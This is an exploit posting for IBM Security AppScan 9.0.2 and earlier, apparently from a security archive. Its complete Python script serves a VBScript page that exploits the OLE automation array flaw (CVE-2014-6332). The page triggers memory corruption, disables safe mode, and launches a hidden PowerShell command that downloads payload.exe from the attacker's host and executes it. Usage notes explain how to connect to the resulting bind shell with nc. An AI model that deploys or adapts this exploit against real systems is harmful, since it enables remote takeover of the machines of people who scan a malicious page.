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IBM Security AppScan 9.0.2 Remote Code Execution

IBM Security AppScan 9.0.2 Remote Code Execution
Posted Jun 1, 2015
Authored by Naser Farhadi

IBM Security AppScan versions 9.0.2 and below suffer from an OLE automation array remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 7c64f5a37542016bd51556569e0044d3

IBM Security AppScan 9.0.2 Remote Code Execution

Change Mirror Download
#!/usr/bin/python

import BaseHTTPServer, socket

##
# IBM Security AppScan Standard OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7
#
# Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/
# if you able to exploit IE then you can exploit appscan and acunetix ;)
# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
#
# Usage:
# chmod +x appscan.py
# ./appscan.py
# ...
# nc 172.20.10.14 333
#
# Video: http://youtu.be/hPs1zQaBLMU
##

class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(req):
req.send_response(200)
if req.path == "/payload.exe":
req.send_header('Content-type', 'application/exe')
req.end_headers()
exe = open("payload.exe", 'rb')
req.wfile.write(exe.read())
exe.close()
else:
req.send_header('Content-type', 'text/html')
req.end_headers()
req.wfile.write("""Please scan me!
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe',\
'payload.exe');$(New-Object -com Shell.Application).ShellExecute('payload.exe');"
shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
end function

dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray

Begin()

function Begin()
On Error Resume Next
info=Navigator.UserAgent

if(instr(info,"Win64")>0) then
exit function
end if

if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function

end if

win9x=0

BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function

function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function

function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function

sub testaa()
end sub

function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)

ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314

aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function


function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)

j=0
j=readmemo(i+&h120+k)

Exit for
end if

next
ab(2)=1.69759663316747E-313
runmumaa()
end function

function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000

redim Preserve aa(a0)
redim ab(a0)

redim Preserve aa(a2)

type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10

If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function

end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if


If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If

redim Preserve aa(a0)

end function

function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)

ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))

ab(0)=0

redim Preserve aa(a0)
end function

</script>""")

if __name__ == '__main__':
sclass = BaseHTTPServer.HTTPServer
server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
print "Http server started", socket.gethostbyname(socket.gethostname()), 80
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()


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